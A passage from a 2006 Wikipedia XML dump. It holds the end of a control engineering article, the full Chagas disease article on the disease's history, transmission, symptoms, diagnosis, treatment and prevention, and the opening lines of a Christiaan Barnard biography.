The field of control within [[chemical engineering]] is often known as [[process control]]. It deals primarily with the control of variables in a chemical process in a plant. It is taught as part of the undergraduate curriculum of any chemical engineering program. It employs many of the principles in control engineering, and is a well-established field in its own right.

Other engineering disciplines also overlap with control engineering, as it can be applied to any system for which a suitable model can be derived.

Control engineering has diversified applications that include science, finance management, and even human behaviour.  Students of control engineering may start with a Linear Control System course which requires elementary mathematics and Laplace Transforms (called classical Control Theory).  In Linear Control, the student does Frequency and Time domain analysis.  Digital Control and Non Linear Control courses require Z Transformations and Algebra respectively, and could be said to complete a basic control education. From here onwards there are several sub branches.

== Control systems ==
[[Image:Shuttle.jpg|thumb|left|Control systems play a critical role in [[space flight]]]]

[[Control engineering]] is the engineering [[discipline]] that focuses on the [[mathematical model|modelling]] of a diverse range of [[dynamic system]]s and the design of [[Controller (control theory)|Controller]]s that will cause these systems to behave in the desired manner.  Although such controllers need not be electrical many are and hence control engineering is often viewed as a subfield of electrical engineering.

[[Electrical circuit]]s, [[digital signal processing|digital signal processors]] and [[microcontroller]]s can all be used to implement [[Control system]]s. [[Control engineering]] has a wide range of applications from the flight and propulsion systems of [[Airliner|commercial airliners]] to the [[cruise control]] present in many modern [[automobile]]s.

Control engineers often utilize [[feedback]] when designing [[Control system|control systems]]. For example, in an [[automobile]] with [[cruise control]] the vehicle's [[speed]] is continuously monitored and fed back to the system which adjusts the [[motor|motor's]] [[speed]] accordingly. Where there is regular feedback, [[control theory]] can be used to determine how the system responds to such feedback. In practically all such systems [[stability]] is important and [[control theory]] can help ensure stability is achieved.

Although feedback is an important aspect of [[control engineering]], control engineers may also work on the control of systems without feedback. This is known as [[open loop control]]. A classic example of [[open loop control]] is a [[washing machine]] that runs through a pre-determined cycle without the use of [[sensor]]s.

==See also==
* [[Process control]]
* [[H infinity]]
* [[Laplace transform]]
* [[Optimal control]]
* [[Servomechanism]]
* [[Non-linear control]]
* [[Adaptive control]]
* [[Robust control]]
* [[Intelligent control]]
* [[State space (controls)]]
* [[Model predictive control]]
* [[Quantitative feedback theory]]
* [[Building Automation]]
* [[Feedback]]
* [[VisSim]]
* [[Robotic unicycle]]

==External links==
*[http://www.inderscience.com/browse/index.php?journalID=109  The International Journal of Automation and Control (IJAAC)] publishes research papers on various aspects of control. 
*[http://www.kontrol.itu.edu.tr  Istanbul Technical University Control Eng. Program] One of the programs which educate control engineers at undergraduate degree. 
[[Category:Engineering]]
[[de:Regelungstechnik]]
[[ja:&amp;#21046;&amp;#24481;&amp;#24037;&amp;#23398;]]
[[pl:Automatyka]]
[[pt:Engenharia de controlo]]</text>
    </revision>
  </page>
  <page>
    <title>Chagas disease</title>
    <id>7012</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41940286</id>
      <timestamp>2006-03-02T19:45:20Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Chagas disease |
  ICD10       = B57 |
  ICD9        = {{ICD9|086}} |
}}
'''Chagas disease''' (also called '''''American trypanosomiasis''''') is a human [[tropical disease|tropical]] [[parasitic disease]] which occurs in [[the Americas]], particularly in [[South America]]. Its [[pathogen]]ic [[Vector (biology)|agent]] is a [[flagellate]] [[protozoa]]n named  ''[[Trypanosoma cruzi]]'', which is transmitted to humans and other [[mammal]]s mostly by [[hematophagy|hematophagous]] [[insect]]s of the subfamily [[Triatominae]] (Family [[Reduviidae]]). Those insects are known by numerous common names varying by country, including [[assassin bug]], benchuca, vinchuca, kissing bug, chipo, barbeiro, et cetera. The most common insect species belong to the genera ''[[Triatoma]]'', ''[[Rhodnius]]'', and ''[[Panstrongylus]]''. Other forms of transmission are possible, though, such as ingestion of food contaminated with [[parasite]]s, [[blood transfusion]] and [[fetus|fetal]] transmission.

''Trypanosoma cruzi'' is a member of the same [[genus]] as the infectious agent of African [[sleeping sickness]], but its clinical manifestations, geographical distribution, life cycle and insect [[vector (biology)|vectors]] are quite different.

[[Image:Trypanosoma cruzi crithidia.jpeg|thumb|right|250 px|Photomicrograph of [[Giemsa]]-stained ''Trypanosoma cruzi'' [[crithidia]] ([[Centers for Disease Control and Prevention|CDC]])]]

==History==
The disease was named after the [[Brazil]]ian [[physician]] and [[Infectology|infectologist]] [[Carlos Chagas]], who first described it in 1909, but the disease was not seen as a major [[public health]] problem in humans until the 1960s. He discovered that the intestines of Triatomidae harbored a flagellate protozoan, a new species of the ''[[Trypanosoma]]'' genus, and was able to prove experimentally that it could be transmitted to [[marmoset]] monkeys which were bitten by the infected bug.

Chagas named the [[pathogen]]ic parasite that causes the disease ''Schizotrypanum cruzi'' (later renamed to ''Trypanosoma cruzi''), after [[Oswaldo Cruz]], the noted Brazilian physician and [[epidemiologist]] who fought successfully [[epidemics]] of [[yellow fever]], [[smallpox]], and [[bubonic plague]] in [[Rio de Janeiro]] and other cities in the beginning of the 20th century. Chagas’ work is unique in the [[history of medicine]], because he was the only researcher so far to describe completely a new [[infectious disease]]: its [[pathogen]], [[Vector (biology)|vector]], [[host]], clinical manifestations, and [[epidemiology]]. Nevertheless, he at least believed falsely until 1925, that the main infection route is by the sting of the insect and not by the [[feces]], as it was proposed by his colleague [[Emile Brumpt]] 1915 and assured by [[Dias]] 1932, [[Cardoso]] 1938 and Brumpt himself 1939.

On another historical point of view, it has been hypothesized that [[Charles Darwin]] might have suffered from this disease as a result of a bite of the so-called Great Black Bug of the [[Pampas]] (vinchuca) (see [[Illness of Charles Darwin]]). The episode was reported by Darwin in his diaries of [[the Voyage of the Beagle]] as occurring in March 1835 to the east of the [[Andes]] near [[Mendoza]]. Darwin was young and in general good health though six months previously he had been ill for a month near [[Valparaiso]], but in 1837, almost a year after he returned to [[England]], he began to suffer intermittently from a strange group of [[symptom]]s, becoming very incapacitated for much of the rest of his life. Attempts to test Darwin's remains at the [[Westminster Abbey]] by using modern [[PCR]] techniques were met with a refusal by the Abbey's [[curator]].

==Epidemiology and geographical distribution==
[[Image:Carte maladie Chagas.png|thumb|250px|Chagas in [[Latin America]] (A:Endemic zones)]]
Chagas disease currently affects 16-18 million people, killing around 20,000 people annually and with some 100 million at risk of acquiring the disease. Chronic Chagas disease remains a major health problem in many [[Latin America]]n countries, despite the effectiveness of hygienic and preventive measures, such as eliminating the transmitting insects, which have reduced to zero new infections in at least two countries of the region.  With increased population movements, however, the possibility of transmission by blood transfusion has become more substantial in the United States [http://content.nejm.org/cgi/content/extract/329/9/639].  Also, ''T. cruzi'' has already been found infecting wild [[opossum]]s and [[raccoon]]s as far as North Carolina [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=1597808].

The disease is distributed in the [[The Americas|Americas]], ranging from the southern [[United States]] to southern [[Argentina]], mostly in poor, [[rural]] areas of [[Central America|Central]] and [[South America]].

The disease is almost exclusively found in rural areas, where the Triatominae can breed and feed on the [[natural reservoir]]s (the most common ones being [[opossum]]s and [[armadillo]]s) of ''T.cruzi''. Depending on the special local interactions of the vectors and their hosts, other infected humans, domestic animals like [[cat]]s, [[dog]]s, [[guinea pig]]s and wild animals like [[rodent]]s, [[monkey]]s, [[ground squirrel]]s (''[[Spermophilus beecheyi]]'') and many other could also serve as important parasite reservoirs. Though Triatominae bugs feed on birds, these seem to be immune against infection and therefore are not considered to be a ''T. cruzi'' reservoir, but they remain suspicious to be a constant feeding resource for the vectors in the surroundings of human stay.

The popular name of the vector insect in Brazil, ''barbeiro'' (&quot;the barber&quot;), so called because it sucks the blood at night by biting the face of its victims, reveals some of its habits. The insects, who develop a predominantly domiciliary and [[anthropophilic]] behaviour once they have infested a house [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15691011&amp;query_hl=2], usually hide during the day in crevices and gaps in the walls and roofs of poorly constructed homes. More rarely, better constructed houses may harbor the insect vector, due to the use of rough materials for making roofs, such as [[bamboo]] and [[thatch]]. A [[mosquito net]], wrapped under the matress, will provide protection in these situations, when the adult insect might sail down from above, but one of the five nymphal stages ([[instars]]) could crawl up from the floor.

Even when the colonies of the insects are eradicated in the house and around (domestic animal shelters), they again can arrive (also by flying short distances) from nearby nature (possibly a [[palm tree]]), where animals and the insect which are part of the ancient, natural silvatic infection cycle use to live.  This especially can happen in zones with mixed open savannah, clumps of trees, etc., interspersed by human habitation. 

Dense vegetation, like in tropical [[rain forest]]s, and urban habitats, are not ideal for the establishment of the human transmission cycle. However, in regions where the sylvatic [[Habitat (ecology)|habitat]] and its fauna are thinned out by economical exploitation and human habitation, such as in newly [[deforestation|deforested]] areas of the [[Amazon River|Amazon]] region, this may occur, when the insects are searching for a new prey.

==Clinical manifestations==
[[Image:Chagoma.jpg|thumb|right|This child from Panama is suffering from Chagas disease manifested as an acute infection with swelling of the right eye (Romaña's sign). Source: CDC.]]
The human [[disease]] occurs in two stages: the acute stage shortly after the [[infection]], and the chronic stage that may develop over 10 years.

In the acute phase, a local skin nodule called a ''chagoma'' can appear at the site of [[inoculation]]. When the inoculation site is the [[conjunctiva|conjunctival]] mucous membranes, the patient may develop unilateral periorbital edema, conjunctivitis, and preauricular lymphadenitis. This constellation of findings is referred to as '''Romaña's sign'''. The acute phase is usually [[asymptomatic]], but can present with manifestations that include [[fever]], [[anorexia]], [[lymphadenopathy]], mild [[hepatosplenomegaly]], and [[myocarditis]].  Some acute cases (10 to 20%) resolve over a period of 2 to 3 months into an asymptomatic chronic stage, only to reappear after several years. 

The symptomatic chronic stage may not occur for years or even decades after initial infection. The disease affects the [[nervous system]], [[digestive system]] and [[heart]].  Chronic infections result in various neurological disorders, including [[dementia]], damage to the heart muscle ([[cardiomyopathy]], the most serious manifestation), and sometimes dilation of the [[digestive tract]] ([[megacolon]] and [[megaesophagus]]), as well as [[weight loss]]. [[Swallowing]] difficulties may be the first symptom of digestive disturbances and may lead to [[malnutrition]]. After several years of an asymptomatic period, 27% of those infected develop cardiac damage, 6% develop digestive damage, and 3% present peripheral nervous involvement. Left untreated, Chagas disease can be fatal, in most cases due to the [[cardiomyopathy]] component.

==Infection cycle==
An infected triatomine insect vector takes a blood meal and releases [[trypomastigote]]s in its feces near the site of the bite wound.  By scratching the site of the bite, the victim allows trypomastigotes to enter the host through the wound, or through intact mucosal membranes, such as the [[conjunctiva]]. Inside the host, the trypomastigotes invade cells, where they differentiate into intracellular [[amastigote]]s.  The amastigotes multiply by [[binary fission]] and differentiate into trypomastigotes, and then are released into the circulation as bloodstream trypomastigotes. Trypomastigotes infect cells from a variety of [[biological tissue]]s and transform into intracellular amastigotes in new infection sites. Clinical manifestations can result from this infective cycle and cell death at the target tissues. For example, it has been shown by Austrian-Brazilian pathologist Dr. [[Fritz Köberle]] in the 1950s at the [[Faculdade de Medicina de Ribeirão Preto|Medical School of the University of São Paulo at Ribeirão Preto]], Brazil (one of the excellent [[medical research]] centers on Chagas disease), that intracellular amastigotes destroy the intramural neurons of the [[autonomic nervous system]] in the intestine and heart, leading to megaintestine and heart [[aneurysm]]s, respectively.  

The bloodstream trypomastigotes do not replicate (different from the [[African]] trypanosomes).  Replication resumes only when the parasites enter another cell or are ingested by another vector.  The “kissing” bug becomes infected by feeding on human or animal blood that contains circulating parasites. Also the bugs might be able to spread the infection to each other through their
cannibalistic predatory behaviour. The ingested trypomastigotes transform into [[epimastigote]]s in the vector’s midgut.  The parasites multiply and differentiate in the midgut  and differentiate into infective metacyclic trypomastigotes in the hindgut.

''Trypanosoma cruzi'' can also be transmitted through [[blood transfusions]], organ [[transplantation]], [[placenta|transplacentally]], [[breast milk]] [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12751321&amp;query_hl=1] and in laboratory accidents. According to the [[World Health Organization]] infection rate in [[blood bank]]s in Latin America vary between 3% and 53%, a figure higher than of [[HIV]] infection and [[hepatitis]] B and C.
[[Image:Chagas_disease_cycle.jpeg|Life cycle of Trypanosima cruzi. Source: CDC]]
===Alternative infection mechanism===
Researchers suspected since 1991 [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=1844961&amp;dopt=Citation] that the transmission of the trypanosome by the oral route might be possible, due to a number of micro-epidemics restricted to particular times and places (such as a farm or a family dwelling), particularly in non-endemic areas such as the [[Amazonia]] (17 such episodes recorded between 1968 and 1997). In 1991, farm workers in the state of [[Paraíba]], Brazil, were apparently infected by contamination of food with [[opossum]] feces; and in 1997, in [[Macapá]], state of [[Amapá]], 17 members of two families were infected by drinking [[acai|assai]] palm fruit juice probably contaminated with crushed triatomine vector insects[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=10677763&amp;dopt=Citation]. In the beginning of 2005, a new outbreak with 27 cases was detected in [[Amapá]].

Recently (March 2005) a new startling outbreak was recorded in the state of [[Santa Catarina]], Brazil, that seems to confirm this alternative mechanism of transmission. Several people in Santa Catarina who had ingested [[sugar cane]] juice (&quot;[[garapa]]&quot;, in Portuguese) by a roadside kiosk acquired Chagas disease [http://aol.countrywatch.com/aol_wire.asp?vCOUNTRY=183&amp;UID=1442449]. As of March 30th, 2005, 49 cases had been confirmed in Santa Catarina, including 6 deaths. The hypothesized mechanism, so far, is that trypanosome-bearing insects were crushed into the raw preparation. The health authorities of Santa Catarina have estimated that ca. 60,000 people might have had contact with the [[food safety|contaminated food]] in Santa Catarina and urged everyone in this situation to submit to blood tests. They have prohibited the sale of sugar cane juice in the state until the situation is rectified. 

The unusual severity of the disease outbreak has been blamed on a hypothetical higher parasite load achieved by the oral route of infection. Brazilian researchers at the [[Instituto Oswaldo Cruz]], [[Rio de Janeiro]], were able to infect [[mouse|mice]] via a gastrointestinal tube with trypanosome-infected oral preparations.

==Laboratory diagnosis==
Demonstration of the causal agent is the diagnostic procedure in acute Chagas disease.  It almost always yields positive results, and can be achieved by:

* [[microscope|Microscopic]] examination: a) of fresh anticoagulated [[blood]], or its [[buffy coat]], for motile parasites; and b) of thin and thick blood smears stained with [[Giemsa stain|Giemsa]], for visualization of [[parasites]]; it can be confused with the 50% longer ''[[Trypanosoma rangeli]]'', which has not shown any pathogenity in humans yet.
* Isolation of the agent by: a) inoculation into [[mouse|mice]]; b) culture in specialized media (e.g. NNN, LIT); and c) [[xenodiagnosis]], where uninfected [[Reduviidae]] bugs are fed on the patient's blood, and their gut contents examined for parasites 4 weeks later.
*Various [[Immunodiagnostic]] tests; (also trying to distinguish [[strain]]s ([[zymodeme]]s) of ''T.cruzi'' with divergent pathogenities).
**[[Complement fixation]]
**indirect [[hemagglutination]]
**[[Indirect fluoresence assay|IFA]], [[Indirect fluorescent assay]]
**[[Radioimmunoassay|RIA]], Radio-immunoassay
**[[ELISA]], Enzyme-Linked Immunosorbent Assay
**[[PCR]], Polymerase chain reaction, most promising

==Treatment==
Medication for Chagas disease is usually only effective when given during the [[acute]] stage of infection.  The drugs of choice are azole or nitroderivatives such as [[benznidazole]] [http://aac.asm.org/cgi/content/abstract/49/4/1521] or [[nifurtimox]] (under an Investigational New Drug protocol from the [[CDC]] Drug Service), but resistance to these drugs has already been reported [http://aac.asm.org/cgi/content/abstract/42/12/3245]. Furthermore, these agents are very toxic and have many [[adverse effect (medicine)|adverse effects]], and cannot be taken without medical supervision. A 10-year study of chronic administration of drugs in Brazil has revealed that these drugs are not totally effective, too, in removing [[parasitemia]]  [http://scholar.google.com/url?sa=U&amp;q=http://www.ajtmh.org/cgi/reprint/63/3/111.pdf]. Thus, 
the decision about whether to use [[antiparasitic therapy]] should be individualized in consultation with an expert. 

In the [[chronic]] stage, treatment involves managing the clinical manifestations of the disease, e.g., drugs and [[heart pacemaker]] for [[chronic heart failure]] and [[heart arryhthmia]]s; [[surgery]] for megaintestine, etc., but the disease per se is not curable in this phase. Chronic heart disease caused by Chagas is now a common reason for [[heart transplantation]] surgery.  Until recently, however, Chagas disease was considered a [[contraindication]] for the procedure, since the heart damage could recur as the parasite was expected to seize the opportunity provided by the [[immunosuppression]] that follows surgery.  The research that changed the indication of the transplant procedure for Chagas disease patients was conducted by Dr. [[Adib Jatene]]'s group at the [[Heart Institute of the University of São Paulo]], in [[São Paulo]], Brazil [http://ats.ctsnetjournals.org/cgi/content/abstract/61/6/1727]. The research noted that survival rates in Chagas patients can be significantly improved by using lower dosages of the immunosuppressant drug [[cyclosporine]]. Recently, direct [[stem cell therapy]] of the heart muscle using [[bone marrow]] cell transplantation has been shown to dramatically reduce risks of heart failure in Chagas patients [http://publicacoes.cardiol.br/abc/2004/8202/8202010i.pdf].
Patients have  also been shown to benefit from the strict prevention of reinfection, though the reason for this is not yet clearly understood.

Some examples for the struggle for advances:
*Use of [[oxidosqualene cyclase]] inhibitors and [[cysteine protease]] inhibitors has been found to cure experimental infections in animals [http://www.jem.org/cgi/content/abstract/188/4/725]. 
*[[Dermaseptin]]s from frog species ''[[Phyllomedusa]] oreades'' and ''P. distincta''. Anti-''Trypanosoma cruzi ''activity without [[cytotoxicity]] to mammalian cells.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=retrieve&amp;db=pubmed&amp;list_uids=12379643&amp;dopt=Abstract]
*The sesquiterpene lactone dehydroleucodine (DhL) affects the growth of cultured [[epimastigote]]s of ''Trypanosoma cruzi'' [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10780563&amp;query_hl=1&amp;itool=pubmed_docsum]
* The [[genome]] of the disease has been sequenced [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16020725&amp;query_hl=3].  Proteins that are produced by the disease but not by humans have been identified as possible drug targets to defeat the disease. (El-Sayed, ''et al.'', 2005)

==Prevention==
[[Image:Triatoma_infestans.jpg|thumb|Vector insect ''[[Triatoma infestans]]'' (Kissing Bug)]]
A reasonably effective [[vaccine]] was developed in Ribeirão Preto in the 1970s, using cellular and subcellular fractions of the parasite, but it was found economically unfeasible. More recently, the  potential of DNA vaccines for [[immunotherapy]] of acute and chronic Chagas disease is being tested by several research groups. 

Prevention is centered on fighting the vector (''Triatoma'') by using sprays and paints containing [[insecticide]]s (synthetic [[pyrethrum|pyrethroids]]), and improving housing and sanitary conditions in the rural area. For urban dwellers, spending vacations and [[camping]] out in the wilderness or sleeping at hostels or mud houses in endemic areas can be dangerous, a [[mosquito net]] is recommended. If the traveller intends to travel to the area of prevalence, he/she should get information on endemic rural areas for Chagas disease in traveller advisories, such as the [[CDC]].

In most countries where Chagas disease is endemic, [[blood tests|testing]] for [[blood donation|blood donors]] is already mandatory, since this can be an important route of transmission.
In the past, blood donors where mixed with 0,25 g/L of [[gentian violet]] sucessfully to kill parasites.

With all these measures, some landmarks were achieved in the fight against Chagas disease in Latin America: a reduction by 72% of the incidence of human infection in children and young adults in the countries of the Initiative of the [[Southern Cone]], and at least two countries ([[Uruguay]], in 1997, and [[Chile]], in 1999), were certified free of vectorial and transfusional transmission. In Brazil, with the largest population at risk, 10 out of the 12 endemic states were also certified free.

Some stepstones of vector control:
*A yeast trap has been tested for monitoring infestations of certain species of the bugs:&quot;Performance of yeast-baited traps with ''Triatoma sordida'', ''Triatoma brasiliensis'', ''Triatoma pseudomaculata'', and ''Panstrongylus megistus'' in laboratory assays.&quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10949899&amp;query_hl=6]
*Promising results were gained with the treatment of vector habitats with the fungus ''[[Beauveria bassiana]]'', (which is also in discussion for [[malaria]]- prevention):&quot;Activity of oil-formulated ''Beauveria bassiana'' against ''Triatoma sordida'' in peridomestic areas in Central Brazil.&quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15250478&amp;query_hl=2]
*Targeting the [[symbiont]]s of [[Triatominae]] :[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Search&amp;db=PubMed&amp;term=Triatominae%20symbiosis]

==Original publication==
* Chagas, C. Nova trypanozomíaze humana. Estudos sobre a morfologia e cíclo evolutivo do ''Schizotripanum cruzi n. gen. n. sp.'', agente etiològico de nova entidade mórbida do homem. ''Mem Inst Oswaldo Cruz'', 1909, 1 (2): 159-218 (New human trypanosomiasis. Studies about the morphology and evolutive cycle of ''Schizotripanum cruzi'', ethiological agent of a new morbid entity of man).

==References==
* Adler D. Darwin's illness. ''Isr J Med Sci.'' 1989 Apr;25(4):218-21. ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2496051  Abstract])
* Kirchhoff, LV. American Trypanosomiasis (Chagas' Disease) -- A Tropical Disease Now in the United States. ''N Engl J Med.'' 329 (9):639-644, August 26, 1993 ([http://content.nejm.org/cgi/content/extract/329/9/639 Abstract])
* Garcia, S., Ramos, C. O., Senra, J. F. V., Vilas-Boas, F., Rodrigues, M. M., Campos-de-Carvalho, A. C., Ribeiro-dos-Santos, R., Soares, M. B. P. (2005). Treatment with Benznidazole during the Chronic Phase of Experimental Chagas' Disease Decreases Cardiac Alterations. ''Antimicrob. Agents Chemother.'' 49: 1521-1528 ([http://aac.asm.org/cgi/content/abstract/49/4/1521 Abstract])    
* Buckner, F. S., Wilson, A. J., White, T. C., Van Voorhis, W. C. (1998). Induction of Resistance to Azole Drugs in Trypanosoma cruzi. Antimicrob. Agents Chemother. 42: 3245-3250  ([http://aac.asm.org/cgi/content/abstract/42/12/3245 Abstract])   
* Engel, J. C., Doyle, P. S., Hsieh, I., McKerrow, J. H. (1998). Cysteine Protease Inhibitors Cure an Experimental Trypanosoma cruzi Infection. ''J. Exp. Med.'' 188: 725-734 ([http://www.jem.org/cgi/content/abstract/188/4/725 Abstract])   
* Bocchi, E. A., Bellotti, G., Mocelin, A. O., Uip, D., Bacal, F., Higuchi, M. L., Amato-Neto, V., Fiorelli, A., Stolf, N. A. G., Jatene, A. D., Pileggi, F. (1996). Heart Transplantation for Chronic Chagas' Heart Disease. ''Ann. Thorac. Surg.'' 61: 1727-1733  ([http://ats.ctsnetjournals.org/cgi/content/abstract/61/6/1727 Abstract])
* Dumonteil E, Escobedo-Ortegon J, Reyes-Rodriguez N, Arjona-Torres A, Ramirez-Sierra MJ. Immunotherapy of Trypanosoma cruzi infection with DNA vaccines in mice. ''Infect Immun.'' 2004 Jan;72(1):46-53. ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14688079 Abstract])
* Vilas-Boas F., Feitosa G.S., Soares M. B. P., Pinho Filho J.A., Almeida A., Mota A., Carvalho H. G., Oliveira A. D. D. Ribeiro-dos-Santos R. Bone marrow cell transplantation to the myocardium of a patient with heart failure due to Chagas cardiomyopathy. A case report. ''Arquivos Brasileiros de Cardiologia'', 82(2):185-7, 2004. ([http://publicacoes.cardiol.br/abc/2004/8202/8202010i.pdf Full text])
* Valente SAS, Valente VC, Fraiha-Neto H. Considerations on the epidemiology and transmission of Chagas disease in the Brazilian amazon. ''Mem. Inst. Oswaldo Cruz'', Sept. 1999, vol.94 suppl.1, p.395-398. ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=10677763&amp;dopt=Citation Abstract])
* Shikanai-Yasuda MA, Marcondes CB, Guedes LA, Siqueira GS, Barone AA, Dias JC, Amato Neto V, Tolezano JE, Peres BA, Arruda Junior ER, et al. Possible oral transmission of acute Chagas' disease in Brazil. ''Rev Inst Med Trop Sao Paulo''. 1991 Sep-Oct;33(5):351-7. ([http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=1844961&amp;dopt=Citation Abstract])
* {{cite journal | author=El-Sayed NM, Myler PJ, Bartholomeu DC, Nilsson D, Aggarwal G, Tran AN, Ghedin E, Worthey EA, Delcher AL, Blandin G, Westenberger SJ, Caler E, Cerqueira GC, Branche C, Haas B, Anupama A, Arner E, Aslund L, Attipoe P, Bontempi E, Bringaud F, Burton P, Cadag E, Campbell DA, Carrington M, Crabtree J, Darban H, da Silveira JF, de Jong P, Edwards K, Englund PT, Fazelina G, Feldblyum T, Ferella M, Frasch AC, Gull K, Horn D, Hou L, Huang Y, Kindlund E, Klingbeil M, Kluge S, Koo H, Lacerda D, Levin MJ, Lorenzi H, Louie T, Machado CR, McCulloch R, McKenna A, Mizuno Y, Mottram JC, Nelson S, Ochaya S, Osoegawa K, Pai G, Parsons M, Pentony M, Pettersson U, Pop M, Ramirez JL, Rinta J, Robertson L, Salzberg SL, Sanchez DO, Seyler A, Sharma R, Shetty J, Simpson AJ, Sisk E, Tammi MT, Tarleton R, Teixeira S, Van Aken S, Vogt C, Ward PN, Wickstead B, Wortman J, White O, Fraser CM, Stuart KD, Andersson B | title=The genome sequence of Trypanosoma cruzi, etiologic agent of Chagas disease | journal=[[Science (journal)|Science]] | volume=309 | issue=5733 | year=2005 | pages=409-15  | id=PMID 16020725}}

==Further reading==
* Coutinho M. Ninety years of Chagas disease: a success story at the periphery. ''Soc Stud Sci.'' 1999 Aug;29(4):519-49. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11623933&amp;query_hl=2 Medline abstract]
* Dias JC, Silveira AC, Schofield CJ. The impact of Chagas disease control in Latin America: a review. ''Mem Inst Oswaldo Cruz.'' 2002 Jul;97(5):603-12 [http://www.scielo.br/cgi-bin/fbpe/fbtext?pid=S0074-02762002000500002&amp;lng=en&amp;nrm=iso&amp;tlng=es Full text]
* Kropf SP, Azevedo N, Ferreira LO. Biomedical research and public health in Brazil: the case of Chagas' disease (1909-50). ''Soc Hist Med.'' 2003 Apr;16(1):111-29. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14598820&amp;query_hl=2 Medline abstract]
* Moncayo A. Progress towards Interruption of Transmission of Chagas Disease, 1999, ''Mem Inst Oswaldo Cruz.'' 1999; 94(Sup I) 401-404. 
* Prata A. Evolution of the clinical and epidemiological knowledge about Chagas disease 90 years after its discovery. ''Mem Inst Oswaldo Cruz.'' 1999;94 Suppl 1:81-8. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=10677694&amp;query_hl=2 Medline abstract]

There is a special issue of the International Symposium to commemorate the 90th anniversary of the discovery of Chagas disease (Rio de Janeiro, April 11-16, 1999) in ''Memórias do Instituto Oswaldo Cruz'', Vol. 94, Suppl. I, 1999 ([http://www.dbbm.fiocruz.br/tropical/chagas/memmain.html Table of contents], with full text papers available in PDF)

==External links==
* [http://chagaspace.org/eng/index.htm ''Chagaspace''] , also in Spanish.
* [http://www.unibio.unam.mx/chagmex ChagMex: Database on-line]. UNAM-Instituto de Biología.
* [http://www.who.int/ctd/chagas/disease.htm Chagas: the disease]. World Health Organization.
* [http://www.paho.org/english/ad/dpc/cd/chagas.htm Chagas Disease]. PanAmerican Health Organization.
* [http://www.who.int/tdr/diseases/chagas/default.htm Chagas disease]. The UNDP-Unicef-WHO-World Bank Special Programme of Research (TDR).
* [http://www.nlm.nih.gov/medlineplus/chagasdisease.html Chagas disease]. Medline Plus.
* [http://www.phac-aspc.gc.ca/tmp-pmv/info/am_trypan_e.html Disease Information. American Trypanosomiasis or Chagas Disease]. Travel Medicine Program. Health Canada.
* [http://www.emedicine.com/med/topic327.htm Chagas Disease (American Trypanosomiasis)]. eMedicine.
* [http://www.lib.uiowa.edu/hardin/md/trypanosomiasisAmer.html Links to Chagas Disease pictures (Hardin MD/Univ of Iowa)]

===Recent events===
* ''Chagas Control in the Southern Cone Countries: History of an International Initiative, 1991/2001'', PAHO. ([http://www.paho.org/English/AD/DPC/CD/dch-historia-incosur.htm Full text e-book])
* [http://cruzi.unsam.edu.ar/ Genome Sequencing Project]
* [http://news.bbc.co.uk/2/hi/health/4681707.stm Parasites' genetic code 'cracked'] From BBC
*[http://www.crs.org/our_work/where_we_work/overseas/latin_america_and_the_caribbean/bolivia/improvement.cfm]    Housing project in Bolivia

==Sources==
* [http://www.dpd.cdc.gov/dpdx/HTML/TrypanosomiasisAmerican.htm American Trypanosomyasis]. CDC Disease Information (US Federal Government public domain).
* [http://www.nlm.nih.gov/medlineplus/ency/article/001372.htm Chagas disease]. Medical Encyclopedia. Medline Plus.

==See also==
*[[Tropical disease]]

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    <title>Christiaan Barnard</title>
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      <text xml:space="preserve">'''Christiaan Neethling Barnard''' ([[November 8]], [[1922]] &amp;ndash; [[September 2]], [[2001]]) was a [[South African]] cardiac [[surgery|surgeon]]. He became famous for performing the world's first open [[heart]] transplant.

== Early life ==

